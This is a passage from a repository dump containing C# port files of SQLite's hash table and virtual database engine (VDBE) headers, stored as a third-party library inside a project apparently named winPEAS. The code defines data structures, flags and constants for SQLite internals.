Callback for SELECTs */ // pcache Methods public delegate int dxPC_Init( object NotUsed ); public delegate void dxPC_Shutdown( object NotUsed ); public delegate sqlite3_pcache dxPC_Create (int szPage, int bPurgeable); public delegate void dxPC_Cachesize (sqlite3_pcache pCache, int nCachesize); public delegate int dxPC_Pagecount (sqlite3_pcache pCache); public delegate PgHdr dxPC_Fetch( sqlite3_pcache pCache, u32 key, int createFlag ); public delegate void dxPC_Unpin( sqlite3_pcache pCache, PgHdr p2, int discard ); public delegate void dxPC_Rekey( sqlite3_pcache pCache, PgHdr p2, u32 oldKey, u32 newKey ); public delegate void dxPC_Truncate( sqlite3_pcache pCache, u32 iLimit ); public delegate void dxPC_Destroy(ref sqlite3_pcache pCache); public delegate void dxIter(PgHdr p); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Hash_h.cs ================================================ using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This is the header file for the generic hash-table implemenation ** used in SQLite. ** ** $Id: hash.h,v 1.15 2009/05/02 13:29:38 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_SQLITE_HASH_H_ //#define _SQLITE_HASH_H_ /* Forward declarations of structures. */ //typedef struct Hash Hash; //typedef struct HashElem HashElem; /* A complete hash table is an instance of the following structure. ** The internals of this structure are intended to be opaque -- client ** code should not attempt to access or modify the fields of this structure ** directly. Change this structure only by using the routines below. ** However, some of the "procedures" and "functions" for modifying and ** accessing this structure are really macros, so we can't really make ** this structure opaque. ** ** All elements of the hash table are on a single doubly-linked list. ** Hash.first points to the head of this list. ** ** There are Hash.htsize buckets. Each bucket points to a spot in ** the global doubly-linked list. The contents of the bucket are the ** element pointed to plus the next _ht.count-1 elements in the list. ** ** Hash.htsize and Hash.ht may be zero. In that case lookup is done ** by a linear search of the global list. For small tables, the ** Hash.ht table is never allocated because if there are few elements ** in the table, it is faster to do a linear search than to manage ** the hash table. */ public class _ht { /* the hash table */ public int count; /* Number of entries with this hash */ public HashElem chain; /* Pointer to first entry with this hash */ }; public class Hash { public u32 htsize = 31; /* Number of buckets in the hash table */ public u32 count; /* Number of entries in this table */ public HashElem first; /* The first element of the array */ public _ht[] ht; public Hash Copy() { if ( this == null ) return null; else { Hash cp = (Hash)MemberwiseClone(); return cp; } } }; /* Each element in the hash table is an instance of the following ** structure. All elements are stored on a single doubly-linked list. ** ** Again, this structure is intended to be opaque, but it can't really ** be opaque because it is used by macros. */ public class HashElem { public HashElem next; public HashElem prev; /* Next and previous elements in the table */ public object data; /* Data associated with this element */ public string pKey; public int nKey; /* Key associated with this element */ }; /* ** Access routines. To delete, insert a NULL pointer. */ //void sqlite3HashInit(Hash*); //void *sqlite3HashInsert(Hash*, const char *pKey, int nKey, void *pData); //void *sqlite3HashFind(const Hash*, const char *pKey, int nKey); //void sqlite3HashClear(Hash*); /* ** Macros for looping over all elements of a hash table. The idiom is ** like this: ** ** Hash h; ** HashElem p; ** ... ** for(p=sqliteHashFirst(&h); p; p=sqliteHashNext(p)){ ** SomeStructure pData = sqliteHashData(p); ** // do something with pData ** } */ //#define sqliteHashFirst(H) ((H).first) static HashElem sqliteHashFirst( Hash H ) { return H.first; } //#define sqliteHashNext(E) ((E).next) static HashElem sqliteHashNext( HashElem E ) { return E.next; } //#define sqliteHashData(E) ((E).data) static object sqliteHashData( HashElem E ) { return E.data; } /* #define sqliteHashKey(E) ((E)->pKey) // NOT USED */ /* #define sqliteHashKeysize(E) ((E)->nKey) // NOT USED */ /* ** Number of entries in a hash table */ /* #define sqliteHashCount(H) ((H)->count) // NOT USED */ //#endif // * _SQLITE_HASH_H_ */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/VdbeInt_h.cs ================================================ using i64 = System.Int64; using u8 = System.Byte; using u16 = System.UInt16; using u32 = System.UInt32; using u64 = System.UInt64; using Pgno = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using Op = CSSQLite.VdbeOp; public partial class CSSQLite { /* ** 2003 September 6 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This is the header file for information that is private to the ** VDBE. This information used to all be at the top of the single ** source code file "vdbe.c". When that file became too big (over ** 6000 lines long) it was split up into several smaller files and ** this header information was factored out. ** ** $Id: vdbeInt.h,v 1.174 2009/06/23 14:15:04 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_VDBEINT_H_ //#define _VDBEINT_H_ /* ** SQL is translated into a sequence of instructions to be ** executed by a virtual machine. Each instruction is an instance ** of the following structure. */ //typedef struct VdbeOp Op; /* ** Boolean values */ //typedef unsigned char Bool; /* ** A cursor is a pointer into a single BTree within a database file. ** The cursor can seek to a BTree entry with a particular key, or ** loop over all entries of the Btree. You can also insert new BTree ** entries or retrieve the key or data from the entry that the cursor ** is currently pointing to. ** ** Every cursor that the virtual machine has open is represented by an ** instance of the following structure. ** ** If the VdbeCursor.isTriggerRow flag is set it means that this cursor is ** really a single row that represents the NEW or OLD pseudo-table of ** a row trigger. The data for the row is stored in VdbeCursor.pData and ** the rowid is in VdbeCursor.iKey. */ public class VdbeCursor { public BtCursor pCursor; /* The cursor structure of the backend */ public int iDb; /* Index of cursor database in db.aDb[] (or -1) */ public i64 lastRowid; /* Last rowid from a Next or NextIdx operation */ public bool zeroed; /* True if zeroed out and ready for reuse */ public bool rowidIsValid; /* True if lastRowid is valid */ public bool atFirst; /* True if pointing to first entry */ public bool useRandomRowid; /* Generate new record numbers semi-randomly */ public bool nullRow; /* True if pointing to a row with no data */ public bool pseudoTable; /* This is a NEW or OLD pseudo-tables of a trigger */ public bool ephemPseudoTable; public bool deferredMoveto; /* A call to sqlite3BtreeMoveto() is needed */ public bool isTable; /* True if a table requiring integer keys */ public bool isIndex; /* True if an index containing keys only - no data */ public i64 movetoTarget; /* Argument to the deferred sqlite3BtreeMoveto() */ public Btree pBt; /* Separate file holding temporary table */ public int nData; /* Number of bytes in pData */ public byte[] pData; /* Data for a NEW or OLD pseudo-table */ public i64 iKey; /* Key for the NEW or OLD pseudo-table row */ public KeyInfo pKeyInfo; /* Info about index keys needed by index cursors */ public int nField; /* Number of fields in the header */ public int seqCount; /* Sequence counter */ #if !SQLITE_OMIT_VIRTUALTABLE public sqlite3_vtab_cursor pVtabCursor; /* The cursor for a virtual table */ public readonly sqlite3_module pModule; /* Module for cursor pVtabCursor */ #endif /* Result of last sqlite3BtreeMoveto() done by an OP_NotExists or ** OP_IsUnique opcode on this cursor. */ public int seekResult; /* Cached information about the header for the data record that the ** cursor is currently pointing to. Only valid if cacheValid is true. ** aRow might point to (ephemeral) data for the current row, or it might ** be NULL. */ public int cacheStatus; /* Cache is valid if this matches Vdbe.cacheCtr */ public Pgno payloadSize; /* Total number of bytes in the record */ public u32[] aType; /* Type values for all entries in the record */ public u32[] aOffset; /* Cached offsets to the start of each columns data */ public int aRow; /* Pointer to Data for the current row, if all on one page */ }; //typedef struct VdbeCursor VdbeCursor; /* ** A value for VdbeCursor.cacheValid that means the cache is always invalid. */ const int CACHE_STALE = 0; /* ** Internally, the vdbe manipulates nearly all SQL values as Mem ** structures. Each Mem struct may cache multiple representations (string, ** integer etc.) of the same value. A value (and therefore Mem structure) ** has the following properties: ** ** Each value has a manifest type. The manifest type of the value stored ** in a Mem struct is returned by the MemType(Mem*) macro. The type is ** one of SQLITE_NULL, SQLITE_INTEGER, SQLITE_REAL, SQLITE_TEXT or ** SQLITE_BLOB. */ public class Mem { public struct union_ip { #if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL public i64 _i; /* First operand */ public i64 i { get { return _i; } set { _i = value; } } #else public i64 i; /* Integer value. */ #endif public int nZero; /* Used when bit MEM_Zero is set in flags */ public FuncDef pDef; /* Used only when flags==MEM_Agg */ public RowSet pRowSet; /* Used only when flags==MEM_RowSet */ }; public union_ip u; public double r; /* Real value */ public sqlite3 db; /* The associated database connection */ public string z; /* String value */ public byte[] zBLOB; /* BLOB value */ public int n; /* Number of characters in string value, excluding '\0' */ #if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL public u16 _flags; /* First operand */ public u16 flags { get { return _flags; } set { _flags = value; } } #else public u16 flags = MEM_Null; /* Some combination of MEM_Null, MEM_Str, MEM_Dyn, etc. */ #endif public u8 type = SQLITE_NULL; /* One of SQLITE_NULL, SQLITE_TEXT, SQLITE_INTEGER, etc */ public u8 enc; /* SQLITE_UTF8, SQLITE_UTF16BE, SQLITE_UTF16LE */ public dxDel xDel; /* If not null, call this function to delete Mem.z */ // Not used under c# //public string zMalloc; /* Dynamic buffer allocated by sqlite3Malloc() */ public Mem _Mem; /* Used when C# overload Z as MEM space */ public SumCtx _SumCtx; /* Used when C# overload Z as Sum context */ public StrAccum _StrAccum; /* Used when C# overload Z as STR context */ public object _MD5Context; /* Used when C# overload Z as MD5 context */ public void CopyTo( Mem ct ) { ct.u = u; ct.r = r; ct.db = db; ct.z = z; if ( zBLOB == null ) zBLOB = null; else { ct.zBLOB = (byte[])zBLOB.Clone(); } ct.n = n; ct.flags = flags; ct.type = type; ct.enc = enc; ct.xDel = xDel; } }; /* One or more of the following flags are set to indicate the validOK ** representations of the value stored in the Mem struct. ** ** If the MEM_Null flag is set, then the value is an SQL NULL value. ** No other flags may be set in this case. ** ** If the MEM_Str flag is set then Mem.z points at a string representation. ** Usually this is encoded in the same unicode encoding as the main ** database (see below for exceptions). If the MEM_Term flag is also ** set, then the string is nul terminated. The MEM_Int and MEM_Real ** flags may coexist with the MEM_Str flag. ** ** Multiple of these values can appear in Mem.flags. But only one ** at a time can appear in Mem.type. */ //#define MEM_Null 0x0001 /* Value is NULL */ //#define MEM_Str 0x0002 /* Value is a string */ //#define MEM_Int 0x0004 /* Value is an integer */ //#define MEM_Real 0x0008 /* Value is a real number */ //#define MEM_Blob 0x0010 /* Value is a BLOB */ //#define MEM_RowSet 0x0020 /* Value is a RowSet object */ //#define MEM_TypeMask 0x00ff /* Mask of type bits */ const int MEM_Null = 0x0001; /* Value is NULL */ const int MEM_Str = 0x0002; /* Value is a string */ const int MEM_Int = 0x0004; /* Value is an integer */ const int MEM_Real = 0x0008; /* Value is a real number */ const int MEM_Blob = 0x0010; /* Value is a BLOB */ const int MEM_RowSet = 0x0020; /* Value is a RowSet object */ const int MEM_TypeMask = 0x00ff; /* Mask of type bits */ /* Whenever Mem contains a valid string or blob representation, one of ** the following flags must be set to determine the memory management ** policy for Mem.z. The MEM_Term flag tells us whether or not the ** string is \000 or \u0000 terminated // */ //#define MEM_Term 0x0200 /* String rep is nul terminated */ //#define MEM_Dyn 0x0400 /* Need to call sqliteFree() on Mem.z */ //#define MEM_Static 0x0800 /* Mem.z points to a static string */ //#define MEM_Ephem 0x1000 /* Mem.z points to an ephemeral string */ //#define MEM_Agg 0x2000 /* Mem.z points to an agg function context */ //#define MEM_Zero 0x4000 /* Mem.i contains count of 0s appended to blob */ //#ifdef SQLITE_OMIT_INCRBLOB // #undef MEM_Zero // #define MEM_Zero 0x0000 //#endif const int MEM_Term = 0x0200; const int MEM_Dyn = 0x0400; const int MEM_Static = 0x0800; const int MEM_Ephem = 0x1000; const int MEM_Agg = 0x2000; #if !SQLITE_OMIT_INCRBLOB const int MEM_Zero = 0x4000; #else const int MEM_Zero = 0x0000; #endif /* ** Clear any existing type flags from a Mem and replace them with f */ //#define MemSetTypeFlag(p, f) \ // ((p)->flags = ((p)->flags&~(MEM_TypeMask|MEM_Zero))|f) static void MemSetTypeFlag( Mem p, int f ) { p.flags = (u16)( p.flags & ~( MEM_TypeMask | MEM_Zero ) | f ); }// TODO -- Convert back to inline for speed #if SQLITE_OMIT_INCRBLOB //#undef MEM_Zero #endif /* A VdbeFunc is just a FuncDef (defined in sqliteInt.h) that contains ** additional information about auxiliary information bound to arguments ** of the function. This is used to implement the sqlite3_get_auxdata() ** and sqlite3_set_auxdata() APIs. The "auxdata" is some auxiliary data ** that can be associated with a constant argument to a function. This ** allows functions such as "regexp" to compile their constant regular ** expression argument once and reused the compiled code for multiple ** invocations. */ public class AuxData { public string pAux; /* Aux data for the i-th argument */ public dxDel xDelete; //(void *); /* Destructor for the aux data */ }; public class VdbeFunc : FuncDef { public FuncDef pFunc; /* The definition of the function */ public int nAux; /* Number of entries allocated for apAux[] */ public AuxData[] apAux = new AuxData[2]; /* One slot for each function argument */ }; /* ** The "context" argument for a installable function. A pointer to an ** instance of this structure is the first argument to the routines used ** implement the SQL functions. ** ** There is a typedef for this structure in sqlite.h. So all routines, ** even the public interface to SQLite, can use a pointer to this structure. ** But this file is the only place where the internal details of this ** structure are known. ** ** This structure is defined inside of vdbeInt.h because it uses substructures ** (Mem) which are only defined there. */ public class sqlite3_context { public FuncDef pFunc; /* Pointer to function information. MUST BE FIRST */ public VdbeFunc pVdbeFunc; /* Auxilary data, if created. */ public Mem s = new Mem(); /* The return value is stored here */ public Mem pMem; /* Memory cell used to store aggregate context */ public int isError; /* Error code returned by the function. */ public CollSeq pColl; /* Collating sequence */ }; /* ** A Set structure is used for quick testing to see if a value ** is part of a small set. Sets are used to implement code like ** this: ** x.y IN ('hi','hoo','hum') */ //typedef struct Set Set; public class Set { Hash hash; /* A set is just a hash table */ HashElem prev; /* Previously accessed hash elemen */ }; /* ** A Context stores the last insert rowid, the last statement change count, ** and the current statement change count (i.e. changes since last statement). ** The current keylist is also stored in the context. ** Elements of Context structure type make up the ContextStack, which is ** updated by the ContextPush and ContextPop opcodes (used by triggers). ** The context is pushed before executing a trigger a popped when the ** trigger finishes. */ //typedef struct Context Context; public class Context { public i64 lastRowid; /* Last insert rowid (sqlite3.lastRowid) */ public int nChange; /* Statement changes (Vdbe.nChanges) */ }; /* ** An instance of the virtual machine. This structure contains the complete ** state of the virtual machine. ** ** The "sqlite3_stmt" structure pointer that is returned by sqlite3_compile() ** is really a pointer to an instance of this structure. ** ** The Vdbe.inVtabMethod variable is set to non-zero for the duration of ** any virtual table method invocations made by the vdbe program. It is ** set to 2 for xDestroy method calls and 1 for all other methods. This ** variable is used for two purposes: to allow xDestroy methods to execute ** "DROP TABLE" statements and to prevent some nasty side effects of ** malloc failure when SQLite is invoked recursively by a virtual table ** method function. */ public class Vdbe { public sqlite3 db; /* The database connection that owns this statement */ public Vdbe pPrev; /* Linked list of VDBEs with the same Vdbe.db */ public Vdbe pNext; /* Linked list of VDBEs with the same Vdbe.db */ public int nOp; /* Number of instructions in the program */ public int nOpAlloc; /* Number of slots allocated for aOp[] */ public Op[] aOp; /* Space to hold the virtual machine's program */ public int nLabel; /* Number of labels used */ public int nLabelAlloc; /* Number of slots allocated in aLabel[] */ public int[] aLabel; /* Space to hold the labels */ public Mem[] apArg; /* Arguments to currently executing user function */ public Mem[] aColName; /* Column names to return */ public Mem[] pResultSet; /* Pointer to an array of results */ public u16 nResColumn; /* Number of columns in one row of the result set */ public u16 nCursor; /* Number of slots in apCsr[] */ public VdbeCursor[] apCsr; /* One element of this array for each open cursor */ public u8 errorAction; /* Recovery action to do in case of an error */ public u8 okVar; /* True if azVar[] has been initialized */ public u16 nVar; /* Number of entries in aVar[] */ public Mem[] aVar; /* Values for the OP_Variable opcode. */ public string[] azVar; /* Name of variables */ public u32 magic; /* Magic number for sanity checking */ public int nMem; /* Number of memory locations currently allocated */ public Mem[] aMem; /* The memory locations */ public int cacheCtr; /* VdbeCursor row cache generation counter */ public int contextStackTop; /* Index of top element in the context stack */ public int contextStackDepth; /* The size of the "context" stack */ public Context[] contextStack; /* Stack used by opcodes ContextPush & ContextPop*/ public int pc; /* The program counter */ public int rc; /* Value to return */ public string zErrMsg; /* Error message written here */ public int explain; /* True if EXPLAIN present on SQL command */ public bool changeCntOn; /* True to update the change-counter */ public bool expired; /* True if the VM needs to be recompiled */ public int minWriteFileFormat; /* Minimum file format for writable database files */ public int inVtabMethod; /* See comments above */ public bool usesStmtJournal; /* True if uses a statement journal */ public bool readOnly; /* True for read-only statements */ public int nChange; /* Number of db changes made since last reset */ public bool isPrepareV2; /* True if prepared with prepare_v2() */ public int btreeMask; /* Bitmask of db.aDb[] entries referenced */ public u64 startTime; /* Time when query started - used for profiling */ public BtreeMutexArray aMutex; /* An array of Btree used here and needing locks */ public int[] aCounter = new int[2]; /* Counters used by sqlite3_stmt_status() */ public string zSql = ""; /* Text of the SQL statement that generated this */ public object pFree; /* Free this when deleting the vdbe */ public int iStatement; /* Statement number (or 0 if has not opened stmt) */ #if SQLITE_DEBUG public FILE trace; /* Write an execution trace here, if not NULL */ #endif public Vdbe Copy() { Vdbe cp = (Vdbe)MemberwiseClone(); return cp; } public void CopyTo( Vdbe ct ) { ct.db = db; ct.pPrev = pPrev; ct.pNext = pNext; ct.nOp = nOp; ct.nOpAlloc = nOpAlloc; ct.aOp = aOp; ct.nLabel = nLabel; ct.nLabelAlloc = nLabelAlloc; ct.aLabel = aLabel; ct.apArg = apArg; ct.aColName = aColName; ct.nCursor = nCursor; ct.apCsr = apCsr; ct.nVar = nVar; ct.aVar = aVar; ct.azVar = azVar; ct.okVar = okVar; ct.magic = magic; ct.nMem = nMem; ct.aMem = aMem; ct.cacheCtr = cacheCtr; ct.contextStackTop = contextStackTop; ct.contextStackDepth = contextStackDepth; ct.contextStack = contextStack; ct.pc = pc; ct.rc = rc; ct.errorAction = errorAction; ct.nResColumn = nResColumn; ct.zErrMsg = zErrMsg; ct.pResultSet = pResultSet; ct.explain = explain; ct.changeCntOn = changeCntOn; ct.expired = expired; ct.minWriteFileFormat = minWriteFileFormat; ct.inVtabMethod = inVtabMethod; ct.usesStmtJournal = usesStmtJournal; ct.readOnly = readOnly; ct.nChange = nChange; ct.isPrepareV2 = isPrepareV2; ct.startTime = startTime; ct.btreeMask = btreeMask; ct.aMutex = aMutex; aCounter.CopyTo( ct.aCounter, 0 ); ct.zSql = zSql; ct.pFree = pFree; #if SQLITE_DEBUG ct.trace = trace; #endif ct.iStatement = iStatement; #if SQLITE_SSE ct.fetchId=fetchId; ct.lru=lru; #endif #if SQLITE_ENABLE_MEMORY_MANAGEMENT ct.pLruPrev=pLruPrev; ct.pLruNext=pLruNext; #endif } }; /* ** The following are allowed values for Vdbe.magic */ //#define VDBE_MAGIC_INIT 0x26bceaa5 /* Building a VDBE program */ //#define VDBE_MAGIC_RUN 0xbdf20da3 /* VDBE is ready to execute */ //#define VDBE_MAGIC_HALT 0x519c2973 /* VDBE has completed execution */ //#define VDBE_MAGIC_DEAD 0xb606c3c8 /* The VDBE has been deallocated */ const u32 VDBE_MAGIC_INIT = 0x26bceaa5; /* Building a VDBE program */ const u32 VDBE_MAGIC_RUN = 0xbdf20da3; /* VDBE is ready to execute */ const u32 VDBE_MAGIC_HALT = 0x519c2973; /* VDBE has completed execution */ const u32 VDBE_MAGIC_DEAD = 0xb606c3c8; /* The VDBE has been deallocated */ /* ** Function prototypes */ //void sqlite3VdbeFreeCursor(Vdbe *, VdbeCursor*); //void sqliteVdbePopStack(Vdbe*,int); //int sqlite3VdbeCursorMoveto(VdbeCursor*); //#if defined(SQLITE_DEBUG) || defined(VDBE_PROFILE) //void sqlite3VdbePrintOp(FILE*, int, Op*); //#endif //u32 sqlite3VdbeSerialTypeLen(u32); //u32 sqlite3VdbeSerialType(Mem*, int); //u32sqlite3VdbeSerialPut(unsigned char*, int, Mem*, int); //u32 sqlite3VdbeSerialGet(const unsigned char*, u32, Mem*); //void sqlite3VdbeDeleteAuxData(VdbeFunc*, int); //int sqlite2BtreeKeyCompare(BtCursor *, const void *, int, int, int *); //int sqlite3VdbeIdxKeyCompare(VdbeCursor*,UnpackedRecord*,int*); //int sqlite3VdbeIdxRowid(sqlite3 *, i64 *); //int sqlite3MemCompare(const Mem*, const Mem*, const CollSeq*); //int sqlite3VdbeExec(Vdbe*); //int sqlite3VdbeList(Vdbe*); //int sqlite3VdbeHalt(Vdbe*); //int sqlite3VdbeChangeEncoding(Mem *, int); //int sqlite3VdbeMemTooBig(Mem*); //int sqlite3VdbeMemCopy(Mem*, const Mem*); //void sqlite3VdbeMemShallowCopy(Mem*, const Mem*, int); //void sqlite3VdbeMemMove(Mem*, Mem*); //int sqlite3VdbeMemNulTerminate(Mem*); //int sqlite3VdbeMemSetStr(Mem*, const char*, int, u8, void(*)(void*)); //void sqlite3VdbeMemSetInt64(Mem*, i64); //void sqlite3VdbeMemSetDouble(Mem*, double); //void sqlite3VdbeMemSetNull(Mem*); //void sqlite3VdbeMemSetZeroBlob(Mem*,int); //void sqlite3VdbeMemSetRowSet(Mem*); //int sqlite3VdbeMemMakeWriteable(Mem*); //int sqlite3VdbeMemStringify(Mem*, int); //i64 sqlite3VdbeIntValue(Mem*); //int sqlite3VdbeMemIntegerify(Mem*); //double sqlite3VdbeRealValue(Mem*); //void sqlite3VdbeIntegerAffinity(Mem*); //int sqlite3VdbeMemRealify(Mem*); //int sqlite3VdbeMemNumerify(Mem*); //int sqlite3VdbeMemFromBtree(BtCursor*,int,int,int,Mem*); //void sqlite3VdbeMemRelease(Mem p); //void sqlite3VdbeMemReleaseExternal(Mem p); //int sqlite3VdbeMemFinalize(Mem*, FuncDef*); //const char *sqlite3OpcodeName(int); //int sqlite3VdbeOpcodeHasProperty(int, int); //int sqlite3VdbeMemGrow(Mem pMem, int n, int preserve); //int sqlite3VdbeCloseStatement(Vdbe *, int); //#if SQLITE_ENABLE_MEMORY_MANAGEMENT //int sqlite3VdbeReleaseBuffers(Vdbe p); //#endif #if !SQLITE_OMIT_SHARED_CACHE //void sqlite3VdbeMutexArrayEnter(Vdbe *p); #else //# define sqlite3VdbeMutexArrayEnter(p) static void sqlite3VdbeMutexArrayEnter( Vdbe p ) { } #endif //int sqlite3VdbeMemTranslate(Mem*, u8); //#if SQLITE_DEBUG // void sqlite3VdbePrintSql(Vdbe*); // void sqlite3VdbeMemPrettyPrint(Mem pMem, char *zBuf); //#endif //int sqlite3VdbeMemHandleBom(Mem pMem); #if !SQLITE_OMIT_INCRBLOB // int sqlite3VdbeMemExpandBlob(Mem *); #else // #define sqlite3VdbeMemExpandBlob(x) SQLITE_OK static int sqlite3VdbeMemExpandBlob( Mem x ) { return SQLITE_OK; } #endif //#endif /* !_VDBEINT_H_) */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Vdbe_h.cs ================================================ using i64 = System.Int64; using u8 = System.Byte; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** Header file for the Virtual DataBase Engine (VDBE) ** ** This header defines the interface to the virtual database engine ** or VDBE. The VDBE implements an abstract machine that runs a ** simple program to access and modify the underlying database. ** ** $Id: vdbe.h,v 1.142 2009/07/24 17:58:53 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_SQLITE_VDBE_H_ //#define _SQLITE_VDBE_H_ //#include /* ** A single VDBE is an opaque structure named "Vdbe". Only routines ** in the source file sqliteVdbe.c are allowed to see the insides ** of this structure. */ //typedef struct Vdbe Vdbe; /* ** The names of the following types declared in vdbeInt.h are required ** for the VdbeOp definition. */ //typedef struct VdbeFunc VdbeFunc; //typedef struct Mem Mem; /* ** A single instruction of the virtual machine has an opcode ** and as many as three operands. The instruction is recorded ** as an instance of the following structure: */ public class union_p4 { /* forth parameter */ public int i; /* Integer value if p4type==P4_INT32 */ public object p; /* Generic pointer */ //public string z; /* Pointer to data for string (char array) types */ public string z; // In C# string is unicode, so use byte[] instead public i64 pI64; /* Used when p4type is P4_INT64 */ public double pReal; /* Used when p4type is P4_REAL */ public FuncDef pFunc; /* Used when p4type is P4_FUNCDEF */ public VdbeFunc pVdbeFunc; /* Used when p4type is P4_VDBEFUNC */ public CollSeq pColl; /* Used when p4type is P4_COLLSEQ */ public Mem pMem; /* Used when p4type is P4_MEM */ public VTable pVtab; /* Used when p4type is P4_VTAB */ public KeyInfo pKeyInfo; /* Used when p4type is P4_KEYINFO */ public int[] ai; /* Used when p4type is P4_INTARRAY */ public dxDel pFuncDel; /* Used when p4type is P4_FUNCDEL */ } ; public class VdbeOp { public u8 opcode; /* What operation to perform */ public int p4type; /* One of the P4_xxx constants for p4 */ public u8 opflags; /* Not currently used */ public u8 p5; /* Fifth parameter is an unsigned character */ #if DEBUG_CLASS_VDBEOP || DEBUG_CLASS_ALL public int _p1; /* First operand */ public int p1 { get { return _p1; } set { _p1 = value; } } public int _p2; /* Second parameter (often the jump destination) */ public int p2 { get { return _p2; } set { _p2 = value; } } public int _p3; /* The third parameter */ public int p3 { get { return _p3; } set { _p3 = value; } } #else public int p1; /* First operand */ public int p2; /* Second parameter (often the jump destination) */ public int p3; /* The third parameter */ #endif public union_p4 p4 = new union_p4(); #if SQLITE_DEBUG || DEBUG public string zComment; /* Comment to improve readability */ #endif #if VDBE_PROFILE public int cnt; /* Number of times this instruction was executed */ public u64 cycles; /* Total time spend executing this instruction */ #endif }; //typedef struct VdbeOp VdbeOp; /* ** A smaller version of VdbeOp used for the VdbeAddOpList() function because ** it takes up less space. */ public struct VdbeOpList { public u8 opcode; /* What operation to perform */ public int p1; /* First operand */ public int p2; /* Second parameter (often the jump destination) */ public int p3; /* Third parameter */ public VdbeOpList( u8 opcode, int p1, int p2, int p3 ) { this.opcode = opcode; this.p1 = p1; this.p2 = p2; this.p3 = p3; } }; //typedef struct VdbeOpList VdbeOpList; /* ** Allowed values of VdbeOp.p3type */ const int P4_NOTUSED = 0; /* The P4 parameter is not used */ const int P4_DYNAMIC = ( -1 ); /* Pointer to a string obtained from sqliteMalloc=(); */ const int P4_STATIC = ( -2 ); /* Pointer to a static string */ const int P4_COLLSEQ = ( -4 ); /* P4 is a pointer to a CollSeq structure */ const int P4_FUNCDEF = ( -5 ); /* P4 is a pointer to a FuncDef structure */ const int P4_KEYINFO = ( -6 ); /* P4 is a pointer to a KeyInfo structure */ const int P4_VDBEFUNC = ( -7 ); /* P4 is a pointer to a VdbeFunc structure */ const int P4_MEM = ( -8 ); /* P4 is a pointer to a Mem* structure */ const int P4_TRANSIENT = ( -9 ); /* P4 is a pointer to a transient string */ const int P4_VTAB = ( -10 ); /* P4 is a pointer to an sqlite3_vtab structure */ const int P4_MPRINTF = ( -11 ); /* P4 is a string obtained from sqlite3_mprintf=(); */ const int P4_REAL = ( -12 ); /* P4 is a 64-bit floating point value */ const int P4_INT64 = ( -13 ); /* P4 is a 64-bit signed integer */ const int P4_INT32 = ( -14 ); /* P4 is a 32-bit signed integer */ const int P4_INTARRAY = ( -15 ); /* #define P4_INTARRAY (-15) /* P4 is a vector of 32-bit integers */ /* When adding a P4 argument using P4_KEYINFO, a copy of the KeyInfo structure ** is made. That copy is freed when the Vdbe is finalized. But if the ** argument is P4_KEYINFO_HANDOFF, the passed in pointer is used. It still ** gets freed when the Vdbe is finalized so it still should be obtained ** from a single sqliteMalloc(). But no copy is made and the calling ** function should *not* try to free the KeyInfo. */ const int P4_KEYINFO_HANDOFF = ( -16 ); // #define P4_KEYINFO_HANDOFF (-16) const int P4_KEYINFO_STATIC = ( -17 ); // #define P4_KEYINFO_STATIC (-17) /* ** The Vdbe.aColName array contains 5n Mem structures, where n is the ** number of columns of data returned by the statement. */ //#define COLNAME_NAME 0 //#define COLNAME_DECLTYPE 1 //#define COLNAME_DATABASE 2 //#define COLNAME_TABLE 3 //#define COLNAME_COLUMN 4 //#if SQLITE_ENABLE_COLUMN_METADATA //# define COLNAME_N 5 /* Number of COLNAME_xxx symbols */ //#else //# ifdef SQLITE_OMIT_DECLTYPE //# define COLNAME_N 1 /* Store only the name */ //# else //# define COLNAME_N 2 /* Store the name and decltype */ //# endif //#endif const int COLNAME_NAME = 0; const int COLNAME_DECLTYPE = 1; const int COLNAME_DATABASE = 2; const int COLNAME_TABLE = 3; const int COLNAME_COLUMN = 4; #if SQLITE_ENABLE_COLUMN_METADATA const int COLNAME_N = 5; /* Number of COLNAME_xxx symbols */ #else # if SQLITE_OMIT_DECLTYPE const int COLNAME_N = 1; /* Number of COLNAME_xxx symbols */ # else const int COLNAME_N = 2; # endif #endif /* ** The following macro converts a relative address in the p2 field ** of a VdbeOp structure into a negative number so that ** sqlite3VdbeAddOpList() knows that the address is relative. Calling ** the macro again restores the address. */ //#define ADDR(X) (-1-(X)) static int ADDR( int x ) { return -1 - x; } /* ** The makefile scans the vdbe.c source file and creates the "opcodes.h" ** header file that defines a number for each opcode used by the VDBE. */ //#include "opcodes.h" /* ** Prototypes for the VDBE interface. See comments on the implementation ** for a description of what each of these routines does. */ /* ** Prototypes for the VDBE interface. See comments on the implementation ** for a description of what each of these routines does. */ //Vdbe *sqlite3VdbeCreate(sqlite3*); //int sqlite3VdbeAddOp0(Vdbe*,int); //int sqlite3VdbeAddOp1(Vdbe*,int,int); //int sqlite3VdbeAddOp2(Vdbe*,int,int,int); //int sqlite3VdbeAddOp3(Vdbe*,int,int,int,int); //int 